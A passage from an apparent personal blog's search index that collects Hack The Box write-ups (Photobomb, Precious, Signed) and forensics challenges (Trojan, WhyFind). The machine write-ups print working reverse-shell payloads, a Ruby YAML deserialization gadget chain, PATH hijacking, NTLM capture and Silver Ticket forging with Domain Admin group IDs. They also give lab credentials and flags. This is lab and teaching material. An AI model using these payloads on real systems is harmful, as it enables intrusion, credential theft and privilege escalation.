the images to different sizes. One of the most common tools in Linux is convert from ImageMagick. How does that work?\n1 convert original.jpg -resize 1000x1000 new.png If that\u0026rsquo;s what the server is using the our input is put like that:\n1 convert [photo] -resize [dimensions] new.[filetype] Command Injection 1 2 3 photo=andrea-de-santis-uCFuP0Gc_MM-unsplash.jpg;sleep+5\u0026amp;filetype=jpg\u0026amp;dimensions=300x200 photo=andrea-de-santis-uCFuP0Gc_MM-unsplash.jpg\u0026amp;filetype=jpg\u0026amp;dimensions=300x200;sleep+5 Putting commands after the photo or the dimensions parameter didn\u0026rsquo;t help it seems. We were getting 500 errors and no delay from sleep 5 command.\nBut we were able to see achive the injection here:\n1 photo=andrea-de-santis-uCFuP0Gc_MM-unsplash.jpg\u0026amp;filetype=jpg;sleep+5\u0026amp;dimensions=300x200 The response came after 5 seconds, which means that sleep 5 got executed!\nSo let\u0026rsquo;s try to establish a rev shell now. We fire nc -lvnp 9001 and we launch our payload: Command Injection 1 photo=voicu-apostol-MWER49YaD-M-unsplash.jpg\u0026amp;filetype=png%20%3b%20python3%20-c%20%27import%20os%2Cpty%2Csocket%3Bs%3Dsocket.socket%28%29%3Bs.connect%28%28%2210.10.14.9%22%2C9001%29%29%3B%5Bos.dup2%28s.fileno%28%29%2Cf%29for%20f%20in%280%2C1%2C2%29%5D%3Bpty.spawn%28%22%2Fbin%2Fbash%22%29%27\u0026amp;dimensions=20x20``` Our payload got executed and we have established a rev shell. Now let\u0026rsquo;s grab the flag\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 └─$ nc -lnvp 9001 listening on [any] 9001 ... connect to [10.10.14.9] from (UNKNOWN) [10.10.11.182] 37068 wizard@photobomb:~/photobomb$ ls ls log photobomb.sh public resized_images server.rb source_images wizard@photobomb:~/photobomb$ cd cd wizard@photobomb:~$ ls ls photobomb user.txt wizard@photobomb:~$ cat user.txt cat user.txt 9c5c894768bddb24189d670bf188eed1 Root Tip Before we start approaching this we just going to upgrade our shell:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 wizard@photobomb:~/photobomb$ script /dev/null -c bash script /dev/null -c bash Script started, file is /dev/null wizard@photobomb:~$ ^Z zsh: suspended nc -lnvp 9001 ┌──(p4n4㉿kali)-[~/Desktop/photobomb] └─$ stty raw -echo; fg [1] + continued nc -lnvp 9001 reset reset: unknown terminal type unknown Terminal type? screen wizard@photobomb:~$ pwd /home/wizard wizard@photobomb:~$ ls photobomb user.txt More about this here\nEnumeration First thing we check sudo.\n1 2 3 4 5 6 7 8 wizard@photobomb:~$ sudo -l Matching Defaults entries for wizard on photobomb: env_reset, mail_badpass, secure_path=/usr/local/sbin\\:/usr/local/bin\\:/usr/sbin\\:/usr/bin\\:/sbin\\:/bin\\:/snap/bin User wizard may run the following commands on photobomb: (root) SETENV: NOPASSWD: /opt/cleanup.sh wizard@photobomb:~$ Info Things to point from this:\nuser can run /opt/cleanup.sh as root. SETENV means that the current environment will be used rather than a fresh one. The script below looks like it\u0026rsquo;s for managing some logs and keeping \u0026ldquo;safe\u0026rdquo; the picture of the web app:\n1 2 3 4 5 6 7 8 9 10 11 12 13 #!/bin/bash . /opt/.bashrc cd /home/wizard/photobomb # clean up log files if [ -s log/photobomb.log ] \u0026amp;\u0026amp; ! [ -L log/photobomb.log ] then /bin/cat log/photobomb.log \u0026gt; log/photobomb.log.old /usr/bin/truncate -s0 log/photobomb.log fi # protect the priceless originals find source_images -type f -name \u0026#39;*.jpg\u0026#39; -exec chown root:root {} \\; The weak spot here is clearly the find command that is referenced without the full path of it. It\u0026rsquo;s a very simple path hijack.\nTip That means that Bash will search the binary find in the directories that are specified in the $PATH environment variable. Root shell Expose path hijack for `find` We will expose that path hijack vulnerability by simply making a script that runs bash and will name it find! Then we are going to make it executable.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 wizard@photobomb:/dev/shm$ echo -e \u0026#39;#!/bin/bash\\n\\nbash\u0026#39; \u0026gt; find wizard@photobomb:/dev/shm$ ls find multipath wizard@photobomb:/dev/shm$ cat find #!/bin/bash bash wizard@photobomb:/dev/shm$ chmod +x find wizard@photobomb:/dev/shm$ sudo PATH=$PWD:$PATH /opt/cleanup.sh root@photobomb:/home/wizard/photobomb# cat cd root@photobomb:/home/wizard/photobomb# cd root@photobomb:~# ls root.txt root@photobomb:~# cat root.txt 1519ac51547d0853de632fcf56d7d7ea If we were to execute sudo /opt/cleanup.sh we were going to get just another bash shell with wizard user.\nTip We need to run the script as sudo but specify also the PATH variable, adding to the current directory in front! ","permalink":"https://p4n4s.com/posts/htb/box/photobomb/","summary":"Photobomb is an easy Linux machine where plaintext credentials are used to access an internal web application with a \u003ccode\u003eDownload\u003c/code\u003e functionality that is vulnerable to a blind command injection. Once a foothold as the machine\u0026rsquo;s main user is established, a poorly configured shell script that references binaries without their full paths is leveraged to obtain escalated privileges, as it can be ran with `sudo","title":"HTB: Linux — Photobomb"},{"content":"Machine Info Spoiler Precious is an Easy Difficulty Linux machine, that focuses on the Ruby language. It hosts a custom Ruby web application, using an outdated library, namely pdfkit, which is vulnerable to CVE-2022-25765, leading to an initial shell on the target machine. After a pivot using plaintext credentials that are found in a Gem repository config file, the box concludes with an insecure deserialization attack on a custom, outdated, Ruby script. Host / IP 10.10.11.189 / PRECIOUS.HTB. We add the record to our /etc/hosts.\nUser Reconnaissance We are going to start by running our nmap scan:\n└─$ nmap -p- --min-rate 10000 10.10.11.189 Starting Nmap 7.95 ( https://nmap.org ) at 2025-10-18 05:39 EDT Warning: 10.10.11.189 giving up on port because retransmission cap hit (10). Nmap scan report for precious.htb (10.10.11.189) Host is up (0.12s latency). Not shown: 47774 filtered tcp ports (no-response), 17759 closed tcp ports (reset) PORT STATE SERVICE 22/tcp open ssh 80/tcp open http Nmap done: 1 IP address (1 host up) scanned in 66.77 seconds We see a web port open and SSH one. Let\u0026rsquo;s visit the web page.\nWebsite We see that we can supply a URL ourselfs. Trying different tests. Putting localhost like http://127.0.0.1 returned an error. Same for URLs like file:///etc/passwd.\nNext we will start a listener python -m http.server and put our attack IP to see if goes through.\nIt worked! And it basically created a PDF which let\u0026rsquo;s us directory list the contents that our python web server exposes. Next we will try to analyze the requests and the PDF to find out more about the tech stack used. Info It\u0026rsquo;s best to focus on finding the stack of the application as it is focused on that. So we are gonna use exiftool to see our PDF. 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 └─$ exiftool ../Downloads/ypxqxesrs369o3epnks6bpa9dswlsuul.pdf ExifTool Version Number : 12.76 File Name : ypxqxesrs369o3epnks6bpa9dswlsuul.pdf Directory : ../Downloads File Size : 22 kB File Modification Date/Time : 2025:10:18 05:45:42-04:00 File Access Date/Time : 2025:10:18 05:45:42-04:00 File Inode Change Date/Time : 2025:10:18 05:45:42-04:00 File Permissions : -rw-rw-r-- File Type : PDF File Type Extension : pdf MIME Type : application/pdf PDF Version : 1.4 Linearized : No Page Count : 1 Creator : Generated by pdfkit v0.8.6 pdfkit v0.8.6 We found tons of articles online about CVE-2022-25765. Info PDFKit could allow a remote attacker to execute arbitrary commands on the system, caused by improper URL validation. By sending a specially-crafted request, an attacker could exploit this vulnerability to execute arbitrary commands on the system. Article CVE-2022-25765 POC http://10.10.X.X/?name=%20'id' We have confirmed it is vulnerable. Now let\u0026rsquo;s get a shell.\nShell For this to work we need:\nsend our payload to the web app start another listener for the incoming shell connection nc -lvnp 4445 1 http://10.10.X.X:4445/?name=%20`python3 -c \u0026#39;import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\u0026#34;10.10.X.X\u0026#34;,4445));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn(\u0026#34;/bin/bash\u0026#34;)\u0026#39;` User flag We got a shell as ruby but we cannot get the user flag yet. It\u0026rsquo;s only readable by user henry. We get his password by easily checking under cat /home/ruby/.bundle/config.\nHenry\u0026#39;s password henry:Q3c1AqGHtoI0aXAYFH Root 1 2 3 4 5 6 henry@precious:~$ sudo -l Matching Defaults entries for henry on precious: env_reset, mail_badpass, secure_path=/usr/local/sbin\\:/usr/local/bin\\:/usr/sbin\\:/usr/bin\\:/sbin\\:/bin User henry may run the following commands on precious: (root) NOPASSWD: /usr/bin/ruby /opt/update_dependencies.rb 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 henry@precious:~$ cat /opt/update_dependencies.rb # Compare installed dependencies with those specified in \u0026#34;dependencies.yml\u0026#34; require \u0026#34;yaml\u0026#34; require \u0026#39;rubygems\u0026#39; # TODO: update versions automatically def update_gems() end def list_from_file YAML.load(File.read(\u0026#34;dependencies.yml\u0026#34;)) end def list_local_gems Gem::Specification.sort_by{ |g| [g.name.downcase, g.version] }.map{|g| [g.name, g.version.to_s]} end gems_file = list_from_file gems_local = list_local_gems gems_file.each do |file_name, file_version| gems_local.each do |local_name, local_version| if(file_name == local_name) if(file_version != local_version) puts \u0026#34;Installed version differs from the one specified in file: \u0026#34; + local_name else puts \u0026#34;Installed version is equals to the one specified in file: \u0026#34; + local_name end end end end Important This unsafe file inclusion here is really interesting on the update_dependencies.rb script.\n1 2 3 def list_from_file YAML.load(File.read(\u0026#34;dependencies.yml\u0026#34;)) end This is the point to exploit. In the past there have been many flaws with deserializing YAML payloads which resulted in code execution. With a quick search we find a gist that has yaml code for us to include and achieve code execution. Tip If you want to read more about YAML deserialization flaws in Ruby here is a detailed article. So from the gist we have this code YAML code to test:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 --- - !ruby/object:Gem::Installer i: x - !ruby/object:Gem::SpecFetcher i: y - !ruby/object:Gem::Requirement requirements: !ruby/object:Gem::Package::TarReader io: \u0026amp;1 !ruby/object:Net::BufferedIO io: \u0026amp;1 !ruby/object:Gem::Package::TarReader::Entry read: 0 header: \u0026#34;abc\u0026#34; debug_output: \u0026amp;1 !ruby/object:Net::WriteAdapter socket: \u0026amp;1 !ruby/object:Gem::RequestSet sets: !ruby/object:Net::WriteAdapter socket: !ruby/module \u0026#39;Kernel\u0026#39; method_id: :system git_set: id method_id: :resolve We need to run the ruby script on the same location as the dependencies.yml. So we write our code above in /tmp and then we execute the script from there.\n1 2 3 4 /tmp$ sudo ruby /opt/update_dependencies.rb sh: 1: reading: not found uid=0(root) gid=0(root) groups=0(root) Traceback (most recent call last): .... Our YAML code above is executing just the id code and we achieved priveleged code execution. We can just grab the flag or achieve a root shell. Let\u0026rsquo;s do the later. With the code below we copy bash to another location and we make it SetUID and SetGID for root. Root flag dependencies.yml\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 --- - !ruby/object:Gem::Installer i: x - !ruby/object:Gem::SpecFetcher i: y - !ruby/object:Gem::Requirement requirements: !ruby/object:Gem::Package::TarReader io: \u0026amp;1 !ruby/object:Net::BufferedIO io: \u0026amp;1 !ruby/object:Gem::Package::TarReader::Entry read: 0 header: \u0026#34;abc\u0026#34; debug_output: \u0026amp;1 !ruby/object:Net::WriteAdapter socket: \u0026amp;1 !ruby/object:Gem::RequestSet sets: !ruby/object:Net::WriteAdapter socket: !ruby/module \u0026#39;Kernel\u0026#39; method_id: :system git_set: cp /bin/bash /tmp/p4n4; chmod 6777 /tmp/p4n4 method_id: :resolve So let\u0026rsquo;s run it:\n1 2 3 4 5 6 7 8 9 sudo ruby /opt/update_dependencies.rb .... /tmp/p4n4 -p p4n4-5.1# id uid=1000(henry) gid=1000(henry) euid=0(root) egid=0(root) groups=0(root),1000(henry) p4n4-5.1# cat /root/root.txt a9e60ebfbc6a00118af264080de3a4b7 Why Bash is root? The command above gave the executable 6777 set of permissions. So basically it set the SetUID and SetGID bites on. So it sets:\nsetuid bit → run as file owner (in this case root, if root copied it) setgid bit → run with the file’s group ID rwx for everyone → anyone can execute it /tmp/p4n4 is owned by root. So by executing with -p gives a shell with effective UID and GID as root.\n","permalink":"https://p4n4s.com/posts/htb/box/precious/","summary":"Precious is an Easy Difficulty Linux machine, that focuses on the \u003ccode\u003eRuby\u003c/code\u003e language. It hosts a custom \u003ccode\u003eRuby\u003c/code\u003e web application, using an outdated library, namely pdfkit, which is vulnerable to \u003ccode\u003eCVE-2022-25765\u003c/code\u003e, leading to an initial shell on the target machine. After a pivot using plaintext credentials that are found in a Gem repository \u003ccode\u003econfig\u003c/code\u003e file, the box concludes with an insecure deserialization attack on a custom, outdated, \u003ccode\u003eRuby\u003c/code\u003e script.","title":"HTB: Linux — Precious"},{"content":"Machine Info As is common in real life Windows penetration tests, you will start the Signed box with credentials for the following account which can be used to access the MSSQL service: scott / Sm230#C5NatH\nHost / IP 10.10.11.90 / SIGNED.HTB DC01.SIGNED.HTB. We add the record to our /etc/hosts.\nTLDR Summuary Use a SQL extended proc (xp_dirtree) to force the SQL service to authenticate to your SMB listener, capture the MSSQL service NTLMv2 hash, crack it → get mssqlsvc password. Forge a Silver ticket (Kerberos service ticket) for the MSSQL SPN using the service NT hash + domain SID + desired group RIDs (e.g. the IT group that is mapped to SQL sysadmin). Import that ticket and connect: SQL maps you to dbo/sysadmin and you can run xp_cmdshell or OPENROWSET to read files. For root: create a forged ticket that also claims membership in Domain Admins (RID 512) and Enterprise Admins (519) so the PAC causes the MSSQL service to run privileged file reads (OPENROWSET) as the service account and return C:\\Users\\Administrator\\Desktop\\root.txt. User Nmap We run our initial nmap scan nmap -p 1-65535 -T4 -A -v 10.10.11.90\nNmap scan report for 10.10.11.90 Host is up (0.29s latency). Not shown: 65534 filtered tcp ports (no-response) PORT STATE SERVICE VERSION 1433/tcp open ms-sql-s Microsoft SQL Server 2022 16.00.1000.00; RTM | ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback | Not valid before: 2025-10-11T18:31:24 |_Not valid after: 2055-10-11T18:31:24 | ms-sql-ntlm-info: | 10.10.11.90:1433: | Target_Name: SIGNED | NetBIOS_Domain_Name: SIGNED | NetBIOS_Computer_Name: DC01 | DNS_Domain_Name: SIGNED.HTB | DNS_Computer_Name: DC01.SIGNED.HTB | DNS_Tree_Name: SIGNED.HTB |_ Product_Version: 10.0.17763 | ms-sql-info: | 10.10.11.90:1433: | Version: | name: Microsoft SQL Server 2022 RTM | number: 16.00.1000.00 | Product: Microsoft SQL Server 2022 | Service pack level: RTM | Post-SP patches applied: false |_ TCP port: 1433 |_ssl-date: 2025-10-11T18:33:03+00:00; -25m44s from scanner time. Host script results: |_clock-skew: mean: -25m44s, deviation: 0s, median: -25m44s MSSQL Enumeration We will use mssqlclient from Impacket.\n1 impacket-mssqlclient signed.htb/scott:\u0026#39;Sm230#C5NatH\u0026#39;@10.10.11.90 Trying to enable xp_cmdshell failed of course as that would have been too easy. We see that the databases are the default ones also. Continuing the enumeration we enum the users, logins and the accounts we can impersonate. Info We don\u0026rsquo;t get any luck. Interesting to point out the users that reveal that we as scott are assigned to guest username and clearly the db admin is dbo. We then move forward and trying to see if we have permissions executing xp_dirtree. If we get the result 1 from the below command we have the appropriate permissions.\n1 2 SELECT OBJECT_ID(\u0026#39;master..xp_dirtree\u0026#39;) AS objid SELECT HAS_PERMS_BY_NAME(\u0026#39;master..xp_dirtree\u0026#39;,\u0026#39;OBJECT\u0026#39;,\u0026#39;EXECUTE\u0026#39;) AS can_execute_xp_dirtree NTLM hash via xp_dirtree As we have confirmed that we can run xp_dirtree we can use an known trick and try to get the mssql service to try an authenticate to our share and then we can grab the NTLM hash.\nWe start Responder responder -I tun0\nWe browse the directory on a remote SMB share that we control xp_dirtree \\\\10.10.xx.xx\\lol\nWe get the NTLMv2 hash of user mssqlsvc Lastly we just need to crack it john --wordlist=/usr/share/wordlists/rockyou.txt mssqlsvc.hash\nAnd we get the password which is Show solution purPLE9795!@ MSSQL connection as mssqlsvc 1 impacket-mssqlclient signed.htb/mssqlsvc:\u0026#39;purPLE9795!@\u0026#39;@10.10.11.90 -windows-auth We check and see that still we cannot run xp_cmdshell and that we don\u0026rsquo;t have sysadmin priveleges. So we enumarate the users to see who has what with enum_logins. Info We can see that sa and SIGNED\\IT has sysadmin priveleges along with some service accounts.\nAttack plan: Silver Ticket Info We need the NTLM hash of the service account. the IT group SID which is what elevates our priveleges and our user SID. the SPN of the target service. We will also need a helper script to convert the binary hex SIDs to readable format.\nGet the SIDs select SUSER_SID('SIGNED\\IT') select SUSER_SID('SIGNED\\mssqlsvc') Get the SIDs into human readable format 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 #!/usr/bin/env python3 import argparse, binascii, struct def sid_from_hex(hexstr: str) -\u0026gt; str: # normalize: drop \u0026#34;0x\u0026#34; and spaces h = hexstr.strip().lower().replace(\u0026#34;0x\u0026#34;, \u0026#34;\u0026#34;).replace(\u0026#34; \u0026#34;, \u0026#34;\u0026#34;) b = binascii.unhexlify(h) if len(b) \u0026lt; 8: raise ValueError(\u0026#34;Too short to be a SID\u0026#34;) rev = b[0] subauth_count = b[1] # IdentifierAuthority is 6 bytes, big-endian id_auth = int.from_bytes(b[2:8], \u0026#34;big\u0026#34;) # SubAuthorities are DWORDs, little-endian subs = [] off = 8 for _ in range(subauth_count): if off + 4 \u0026gt; len(b): raise ValueError(\u0026#34;Truncated SID (missing subauthorities)\u0026#34;) subs.append(struct.unpack(\u0026#34;\u0026lt;I\u0026#34;, b[off:off+4])[0]) off += 4 return \u0026#34;S-{}-{}\u0026#34;.format(rev, id_auth) + (\u0026#34;-\u0026#34; + \u0026#34;-\u0026#34;.join(map(str, subs)) if subs else \u0026#34;\u0026#34;) if __name__ == \u0026#34;__main__\u0026#34;: p = argparse.ArgumentParser(description=\u0026#34;Convert hex SID bytes to SDDL string\u0026#34;) p.add_argument(\u0026#34;hex\u0026#34;, help=\u0026#34;Hex string like 01050000... (spaces/0x allowed)\u0026#34;) args = p.parse_args() print(sid_from_hex(args.hex)) After retrieving and converting the scripts we get these two:\nS-1-5-21-4088429403-1159899800-2753317549-1105 for the IT group S-1-5-21-4088429403-1159899800-2753317549-1103 for the mssqlsvc Calculate the NTLM hash iconv -f ASCII -t UTF-16LE \u0026lt;(printf 'purPLE9795!@') | openssl dgst -md4 Which gives the hash EF699384C3285C54128A3EE1DDB1A0CC Create the Silver Ticket 1 impacket-ticketer -nthash ef699384c3285c54128a3ee1ddb1a0cc -domain-sid S-1-5-21-4088429403-1159899800-2753317549 -domain signed.htb -spn MSSQLSvc/DC01.signed.htb:1433 -groups 1105 -user-id 1103 mssqlsvc Info impacket-ticketer (full name: ticketer.py) is a Kerberos ticket forger — part of Impacket’s tools. In simple terms, it creates (forges) Kerberos TGT or TGS tickets offline, using the NTLM hash or AES key of a domain account (usually the krbtgt account). Then we export the Kerberos credenital cache with export KRB5CCNAME=mssqlsvc.ccache and we are ready to authenicate with elevated priveleges.\nGet User flag We connect using the ticket impacket-mssqlclient -k -no-pass DC01.SIGNED.HTB.\nThen we enable_xp_cmdshell and we can simply grab the flag\n1 xp_cmdshell type C:\\Users\\mssqlsvc\\Desktop\\user.txt Root First thing to do which we could have done even before is to establish a reverse powershell.\nIn one terminal we start our listener: nc -lnvp 4444 And on the MS SQL client we execute the payload: SQL (SIGNED\\mssqlsvc dbo@master)\u0026gt; xp_cmdshell powershell -e JABjAGwAaQBlAG4Ad...... Privelege Escalation Info We are going to do the exact same thing with the Silver Ticket but we are going to include Domain Admins and Entrerprise Admins RIDs. Get-ADGroup \u0026#34;Domain Admins\u0026#34; | Select-Object Name, SID Get-ADGroup \u0026#34;Enterprise Admins\u0026#34; | Select-Object Name, SID Then we are going to follow the exact same process with the ticketer\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 impacket-ticketer -nthash ef699384c3285c54128a3ee1ddb1a0cc -domain-sid S-1-5-21-4088429403-1159899800-2753317549 -domain signed.htb -spn MSSQLSvc/DC01.signed.htb:1433 -groups 512,519,1105 -user-id 1103 mssqlsvc Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies [*] Creating basic skeleton ticket and PAC Infos [*] Customizing ticket for signed.htb/mssqlsvc [*] PAC_LOGON_INFO [*] PAC_CLIENT_INFO_TYPE [*] EncTicketPart [*] EncTGSRepPart [*] Signing/Encrypting final ticket [*] PAC_SERVER_CHECKSUM [*] PAC_PRIVSVR_CHECKSUM [*] EncTicketPart [*] EncTGSRepPart [*] Saving ticket in mssqlsvc.ccache ┌──(kali㉿kali)-[~/Desktop/season9/signed] └─$ export KRB5CCNAME=mssqlsvc.ccache ┌──(kali㉿kali)-[~/Desktop/season9/signed] └─$ impacket-mssqlclient -k -no-pass DC01.SIGNED.HTB Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies [*] Encryption required, switching to TLS [*] ENVCHANGE(DATABASE): Old Value: master, New Value: master [*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english [*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192 [*] INFO(DC01): Line 1: Changed database context to \u0026#39;master\u0026#39;. [*] INFO(DC01): Line 1: Changed language setting to us_english. [*] ACK: Result: 1 - Microsoft SQL Server (160 3232) [!] Press help for extra shell commands SQL (SIGNED\\mssqlsvc dbo@master)\u0026gt; enable_xp_cmdshell INFO(DC01): Line 196: Configuration option \u0026#39;show advanced options\u0026#39; changed from 1 to 1. Run the RECONFIGURE statement to install. INFO(DC01): Line 196: Configuration option \u0026#39;xp_cmdshell\u0026#39; changed from 1 to 1. Run the RECONFIGURE statement to install. SQL (SIGNED\\mssqlsvc dbo@master)\u0026gt; Read Admin flag via OPENROWSET SELECT * FROM OPENROWSET(BULK 'C:\\Users\\Administrator\\Desktop\\root.txt', SINGLE_CLOB) AS x;\nWhy this worked? Question If we were to try and read the flag with xp_cmdshell it would fail!\n1 2 3 4 5 6 7 8 9 10 EXEC xp_cmdshell \u0026#39;whoami \u0026amp; type C:\\Users\\Administrator\\Desktop\\root.txt\u0026#39;; output ----------------- signed\\mssqlsvc Access is denied. NULL SQL (SIGNED\\mssqlsvc dbo@master)\u0026gt; OPENROWSET(BULK...), on the other hand, is an OLE DB bulk provider call made inside SQL Server. It asks the SQL Server process to open the file and return it as a table/value. No shell is spawned — it’s purely T-SQL.\n","permalink":"https://p4n4s.com/posts/htb/box/signed/","summary":"Signed is a medium Windows machine, exposing Microsoft SQL Server and a Domain Controller. It\u0026rsquo;s part of Season 9.","title":"HTB: Windows — Signed"},{"content":"Scenario John Grunewald was deleting some old accounting documents when he accidentally deleted an important document he had been working on. He panicked and downloaded software to recover the document, but after installing it, his PC started behaving strangely. Feeling even more demoralised and depressed, he alerted the IT department, who immediately locked down the workstation and recovered some forensic evidence. Now it is up to you to analyze the evidence to understand what happened on John\u0026rsquo;s workstation.\nArtifacts Provided Trojan.zip - SHA256:4d423db0dd4595fbd507eb97e16c42f806f272445bab1356b3a486c7d4867ef8 Initial Analysis From the artifacts in our disposal we know that we would need to do some network and memory forensics as well as analyze the disk image. We have:\n.pcapng: Network packet capture. Analyze with Wireshark. .ad1: Logical disk image copy. Analyze with FTK Imager. .vmem: Memory capture. Analyze with Volatility. Questions 1. What is the build version of the operating system? Show solution 19041 To find the build version we can start from the memory dump file memory.vmem and we are going to use Volatilty 3 to get some basic info about the OS from the memory image.\n1 vol.exe -f \u0026#39;.\\memory capture\\memory.vmem\u0026#39; windows.info 2. What is the computer hostname? Show solution DESKTOP-38NVPD0 For the hostname we can check the environmental variables of the system:\n1 vol.exe -f \u0026#39;.\\memory capture\\memory.vmem\u0026#39; windows.envars Or if we want we can open the network capture in Wireshark and look at the first NetBios packets.\n3. What is the name of the downloaded ZIP file? Show solution Data_Recovery.zip We can get that info either from Wireshark and looking at the HTTP traffic or by opening the disk image in FTK Imager and browsing the Downloads folder of the user.\n4. What is the domain of the website (including the third-level domain) from which the file was downloaded? Show solution praetorial-gears.000webhostapp.com For that we use Wireshark as suggested in the previous question.\n5. The user then executed the suspicious application found in the ZIP archive. What is the process PID? Show solution 484 That is a classic question for Volatility to answer.\n1 vol.exe -f \u0026#39;.\\memory capture\\memory.vmem\u0026#39; windows.pslist We focus on the first executable of the chain.\n6. What is the full path of the suspicious process? Show solution C:\\Users\\John\\Downloads\\Data_Recovery\\Recovery_Setup.exe For this we need the tree of processes that show the full path.\n1 vol.exe -f \u0026#39;.\\memory capture\\memory.vmem\u0026#39; windows.pstree --pid \u0026lt;PID\u0026gt; 7. What is the SHA-256 hash of the suspicious executable? Show solution C34601c5da3501f6ee0efce18de7e6145153ecfac2ce2019ec52e1535a4b3193 For this we can simply export the hash list from the FTK Imager. Or export the artifact itself and get its hash.\n8. When was the malicious program first executed? Show solution 2023-05-30 02:06:29 Initally we might think to see the execution timestamps of the processes from the memory dump, but as it turn out these are not correct. Question wants the first executed time of the malware and so it points that it was executed before. To answer the question we are going to look at the Prefetch files! So there could be other artifacts that can reveal us that info, but from the disk image we have we see that all the .\\Prefetch folder is available to us. So we are going to export it as a folder(C:\\Users\\p4n4\\Documents\\trojan\\Prefetch) from the FTK Imager and then we are going to use a Prefetch parser to get the data in a nice format for us. We are going to use PECmd.\n1 PECmd.exe -d C:\\Users\\p4n4\\Documents\\trojan\\Prefetch\\ --csv C:\\Users\\p4n4\\Documents\\trojan\\ --csvf prefetch.csv Then we are going to load the prefetch.csv to our favorite Timeline Explorer! From there searching for the string of the malware file reveals us the execution times.\n9. How many times in total has the malicious application been executed? Show solution 2 Evident after finding the previous question.\n10. The malicious application references two .TMP files, one is IS-NJBAT.TMP, which is the other? Show solution IS-R7RFP.TMP That can be also found in the Timeline Explorer after searching from the malware file name.\n11. How many of the URLs contacted by the malicious application were detected as malicious by VirusTotal? Show solution 4 We look at the moment the HTTP requests start to happen to the C2 server, we get the URLs from these requests and look them up in VirusTotal.\n12. The malicious application downloaded a binary file from one of the C2 URLs, what is the name of the file? Show solution puk.php Finding the binary file from the C2 server involves looking at the packet capture and checking the HTTP packets again. Look at the ones containing more that normal data.\n13. Can you find any indication of the actual name and version of the program that the malware is pretending to be? Show solution FinalRecovery v3.0.7.0325 So for this we had to do a bit of an investigation. From the installed app locations we knew it was named as FLSCover but the challenge wants something else. Memory and network artifacts didn\u0026rsquo;t reveal that so we looked online for public sandbox analysis of the malware file. Looking at the one from Hybrid Analysis revealed strings embedded into the malware that tell us the actual name and version.\n","permalink":"https://p4n4s.com/posts/htb/sherlock/trojan/","summary":"John Grunewald was deleting some old accounting documents when he accidentally deleted an important document he had been working on. He panicked and downloaded software to recover the document, but after installing it, his PC started behaving strangely. Feeling even more demoralised and depressed, he alerted the IT department, who immediately locked down the workstation and recovered some forensic evidence. Now it is up to you to analyze the evidence to understand what happened on John\u0026rsquo;s workstation.","title":"HTB: Sherlock — Trojan"},{"content":"Scenario We have been hot on the trail for a political dissident. They jump from café to café using the Wi-Fi making it hard to nab them. During one of their trips, they unknowingly sat next to one of our agents and we captured them with their laptop on. We need to know where they have been and what they have been doing. Analyze the KAPE output and see if you can get us some answers.\nArtifacts Provided WhyFind.zip - SHA256:edf5cdd32c2c7884922fde7ee3ad8d8ac34a94f5fa6c1eebfb405cdb6c6bf008 Initial Analysis We have a KAPE output here. That means windows event logs and registry hives to analyze! Also the MFT table is valuable. Most of the that we are going to analyze them in Timeline Explorer. For windows logs we are going to combine them all into one file with EvtxECmd.exe:\n1 .\\EvtxECmd.exe -d \u0026#34;D:\\Users\\p4n4\\Downloads\\whyfind\\KAPEOUT\\C\\Windows\\System32\\winevt\\logs\u0026#34; --csv \u0026#34;D:\\Users\\p4n4\\Downloads\\whyfind\u0026#34; --csvf evtx.csv Questions 1. What is the Computer name of the machine? Show solution INVISIBLECHAINS We find that by opening the SYSTEM hive (KAPEOUT\\C\\Windows\\System32\\config) on the Registry Explorer at SYSTEM:ControlSet001\\Control\\ComputerName\\ComputerName.\n2. What is the first Wi-Fi SSID(Decoded) they connected to on May 30th 2025? Show solution ArboretumCoffee So on the C:\\ProgramData\\Microsoft\\Wlansvc\\Profiles\\Interfaces\\{GUID}\\*.xml we can find the connections and the names of the SSIDs. But we need also the date info. So we will open evtx.csv on the Timeline Explorer which has all the event logs. For what we are looking for the source log file would have been Microsoft-Windows-WLAN-AutoConfig%4Operational.evtx. So looking at events during that date from that source we can find the answer. Event IDs 8000 and 8001 reveal that information. The first indicates the start of a new connection while the later that the connection has been established.\n3. When did the system obtain a lease for the network? Show solution 2025-05-30 18:22:48 So this one was a bit tricky. The steps shortly were:\nFrom WLAN log (Microsoft-Windows-WLAN-AutoConfig%4Operational.evtx) → We get the Interface GUID that the connection happened. With that we go to the Registry in the SYSTEM hive SYSTEM:ControlSet001\\Services\\Tcpip\\Parameters\\Interfaces → There we see the Key that corresponds to our GUID. That key had three sub-keys meaning that there were multiple profiles/connection to that interface. Looking at the first one we can get the time in Unix epoch. Converting it here to human readable UTC date we get the accepted format. 4. What IP address did the device receive when connecting to the café? Show solution 172.16.100.16 Check the Registry as in the above question.\n5. What was the BSSID (MAC address) of the access point they connected to at the café? Show solution E4-D1-24-96-A5-D1 This one is interesting. At the same location in Registry SYSTEM:ControlSet001\\Services\\Tcpip\\Parameters\\Interfaces\\{18c11dbd-93ab-4ca9-a804-4f4475da25b8} we check the same as before Key(142726F627564757D634F666665656) which corresponds to the connection profile with subject in question cafe network.\nThere the data looks like this although some have been redacted space economy:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 [ { \u0026#34;Data\u0026#34;: \u0026#34;172.16.100.16\u0026#34;, \u0026#34;ValueName\u0026#34;: 